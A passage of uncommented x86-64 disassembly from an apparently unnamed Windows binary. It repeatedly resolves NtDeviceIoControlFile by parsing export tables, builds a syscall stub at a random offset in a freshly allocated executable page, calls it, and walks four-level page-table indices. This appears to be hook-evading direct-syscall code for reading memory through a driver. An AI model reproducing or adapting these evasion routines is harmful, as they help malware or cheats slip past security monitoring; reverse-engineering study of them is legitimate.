je 0x14008e5b5
cmp word [rax], r15w
jne 0x14008e5b5
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14008e5b5
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x14008e5b5
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x14008e5af
nop word [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14008e3f4
inc rdi
cmp rdi, r15
jb 0x14008e3d0
jmp 0x14008e5af
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x14008e5af
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14008e5af
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0xc644], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0xb2c0]
call fcn.1400be1b0
lea rcx, [rbp + 0xb2c0]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor r12d, r12d
mov edi, r12d
nop dword [rax + rax]
lea rcx, [rbp + 0xb2c0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0x189f0], rax
inc rdi
cmp rdi, 0x200
jl 0x14008e490
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x1c0]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0x1c0], r12d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0x160]
lea rax, [rbp + 0x40]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x40]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rbp + 0x158]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x248]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0x1c0]
lea r9, [rbp + 0x1c0]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r12d
test edi, edi
js 0x14008eb61
mov r14d, 1
test bl, 1
je 0x14008eb61
mov rcx, qword [rsp + 0x50]
movabs rax, 0x3fffffffff000
and ecx, 0xfff
and rbx, rax
add rcx, rbx
test rcx, rcx
je 0x14008eb61
mov rax, rcx
mov qword [rbp + 0x20], rcx
and eax, 0xfff
mov qword [rbp + 0x28], 0
xorps xmm0, xmm0
mov qword [rbp + 0x30], 0
mov r13d, 0x1000
mov qword [rbp + 0x38], 0
sub r13, rax
lea rcx, [0x1401fded8]
mov eax, dword [0x140322b68]
mov r8d, r14d
cmp r13, qword [rbp + 0x188]
mov dword [rbp + 0x158], eax
cmovae r13, qword [rbp + 0x188]
xor edx, edx
mov rax, qword [0x140329cf0]
mov qword [rbp + 0x18], r13
movups xmmword [rbp + 0x268], xmm0
mov qword [rbp + 0x160], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x14008e8a9
cmp word [rax], bx
jne 0x14008e8a9
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14008e8a9
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14008e8a9
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14008e89e
nop word [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14008e6e3
inc rbx
cmp rbx, r14
jb 0x14008e6c0
jmp 0x14008e89e
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14008e89e
mov esi, dword [rcx + 4]
test esi, esi
js 0x14008e89e
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0xd9d4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0xc650]
call fcn.1400be1b0
lea rcx, [rbp + 0xc650]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor r15d, r15d
mov ebx, r15d
nop word [rax + rax]
lea rcx, [rbp + 0xc650]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x189f0], rax
inc rbx
cmp rbx, 0x200
jl 0x14008e780
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x1bc]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x1bc], r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0x160]
lea rax, [rbp + 0x18]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x18]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rbp + 0x158]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x268]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x1bc]
lea r9, [rbp + 0x1bc]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r15d
test ebx, ebx
js 0x14008eb58
mov ebx, 0x5a4d
mov r14d, 1
mov rdx, qword [rbp + 0x30]
test rdx, rdx
je 0x14008eb58
lea rcx, [rbp + 0x1d0]
mov r8, r13
add rcx, qword [rsp + 0x68]
call fcn.1401d15a0
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov dword [rbp + 0x158], eax
mov r8d, r14d
mov rax, qword [0x140329cf0]
xor edx, edx
mov qword [rbp + 0x160], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x14008eb29
cmp word [rax], bx
jne 0x14008eb29
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14008eb29
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14008eb29
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14008eb23
nop
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14008e973
inc rbx
cmp rbx, r14
jb 0x14008e950
jmp 0x14008eb23
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14008eb23
mov esi, dword [rcx + 4]
test esi, esi
js 0x14008eb23
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0xed64], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0xd9e0]
call fcn.1400be1b0
lea rcx, [rbp + 0xd9e0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0xd9e0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x189f0], rax
inc rbx
cmp rbx, 0x200
jl 0x14008ea03
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x1a0]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x1a0], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0x160]
lea rax, [rbp + 0x18]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x18]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rbp + 0x158]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x268]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x1a0]
lea r9, [rbp + 0x1a0]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14008eb58
mov r14d, 1
mov rbx, qword [rbp + 0x188]
mov rax, qword [rsp + 0x68]
sub rbx, r13
mov rcx, qword [rbp - 0x68]
add rax, r13
mov rdi, qword [rbp - 0x60]
mov qword [rbp + 0x188], rbx
mov qword [rsp + 0x68], rax
test rbx, rbx
jne 0x14008d020
mov r13, qword [rbp + 0x1d0]
jmp 0x14008eb64
xor r13d, r13d
mov rcx, qword [rbp + 8]
add rcx, 0x28
mov qword [rbp + 0x188], r13
xor eax, eax
mov qword [rsp + 0x58], rcx
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x160], 0
mov qword [rbp - 0x68], 8
nop dword [rax]
nop dword [rax + rax]
mov r13d, dword [0x140322b68]
add rax, rcx
mov rcx, qword [rbp - 0x60]
xor edx, edx
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
shr rax, 0x27
and eax, 0x1ff
mov qword [rbp + 0x140], 0
lea r8d, [rdx + 1]
mov qword [rbp + 0x148], 0
mov qword [rbp + 0x150], 0
movups xmmword [rbp + 0x298], xmm0
lea rax, [rcx + rax*8]
mov qword [rbp + 0x130], 8
mov qword [rbp + 0x138], rax
lea rcx, [0x1401fded8]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x14008ee5c
cmp word [rax], r14w
jne 0x14008ee5c
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14008ee5c
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14008ee5c
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14008ee56
nop dword [rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14008eca3
inc rbx
cmp rbx, r14
jb 0x14008ec80
jmp 0x14008ee56
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14008ee56
mov esi, dword [rcx + 4]
test esi, esi
js 0x14008ee56
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x189e4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x17660]
call fcn.1400be1b0
lea rcx, [rbp + 0x17660]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x17660]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x189f0], rax
inc rbx
cmp rbx, 0x200
jl 0x14008ed33
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x198]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x198], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x130]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x130]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x298]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x198]
lea r9, [rbp + 0x198]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140090692
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x148]
test rbx, rbx
je 0x140090692
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x50], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x60], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x14008f0e7
cmp word [rax], r14w
jne 0x14008f0e7
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14008f0e7
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x14008f0e7
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x14008f0e7
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14008ef24
inc rdi
cmp rdi, r15
jb 0x14008ef00
jmp 0x14008f0e7
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x14008f0e7
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14008f0e7
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x11484], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x10100]
call fcn.1400be1b0
lea rcx, [rbp + 0x10100]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x10100]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0x189f0], rax
inc rdi
cmp rdi, 0x200
jl 0x14008efc0
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x190]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0x190], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x130]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x130]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x298]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0x190]
lea r9, [rbp + 0x190]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x140090692
test bl, 1
je 0x140090692
mov rax, qword [rsp + 0x68]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0x1e
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x118], 0
xor edx, edx
mov qword [rbp + 0x120], 0
xorps xmm0, xmm0
mov qword [rbp + 0x128], 0
movups xmmword [rbp + 0x228], xmm0
lea rax, [rbx + rax*8]
mov qword [rbp + 0x108], 8
mov qword [rbp + 0x110], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x14008f3b9
cmp word [rax], r14w
jne 0x14008f3b9
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14008f3b9
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14008f3b9
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14008f3b3
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14008f1f5
inc rbx
cmp rbx, r14
jb 0x14008f1d2
jmp 0x14008f3b3
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14008f3b3
mov esi, dword [rcx + 4]
test esi, esi
js 0x14008f3b3
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x12814], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x11490]
call fcn.1400be1b0
lea rcx, [rbp + 0x11490]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x11490]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x189f0], rax
inc rbx
cmp rbx, 0x200
jl 0x14008f290
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x17c]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x17c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x108]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x108]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x228]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x17c]
lea r9, [rbp + 0x17c]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140090692
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x120]
test rbx, rbx
je 0x140090692
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x50], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x60], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x14008f637
cmp word [rax], r14w
jne 0x14008f637
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14008f637
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x14008f637
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x14008f637
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14008f474
inc rdi
cmp rdi, r15
jb 0x14008f450
jmp 0x14008f637
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x14008f637
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14008f637
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x13ba4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x12820]
call fcn.1400be1b0
lea rcx, [rbp + 0x12820]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x12820]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0x189f0], rax
inc rdi
cmp rdi, 0x200
jl 0x14008f510
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x178]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0x178], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x108]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x108]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x228]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0x178]
lea r9, [rbp + 0x178]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x140090692
test bl, 1
je 0x140090692
movzx eax, bl
shr al, 7
test al, 1
je 0x14008f664
mov rcx, qword [rsp + 0x68]
movabs rax, 0xfffffc0000000
and ecx, 0x3fffffff
jmp 0x140090129
mov rax, qword [rsp + 0x68]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0x15
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0xc8], 0
xor edx, edx
mov qword [rbp + 0xd0], 0
xorps xmm0, xmm0
mov qword [rbp + 0xd8], 0
movups xmmword [rbp + 0x238], xmm0
lea rax, [rbx + rax*8]
mov qword [rbp + 0xb8], 8
mov qword [rbp + 0xc0], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x14008f92c
cmp word [rax], r14w
jne 0x14008f92c
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14008f92c
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14008f92c
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14008f926
nop word [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14008f773
inc rbx
cmp rbx, r14
jb 0x14008f750
jmp 0x14008f926
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14008f926
mov esi, dword [rcx + 4]
test esi, esi
js 0x14008f926
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x14f34], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x13bb0]
call fcn.1400be1b0
lea rcx, [rbp + 0x13bb0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x13bb0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x189f0], rax
inc rbx
cmp rbx, 0x200
jl 0x14008f803
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r14
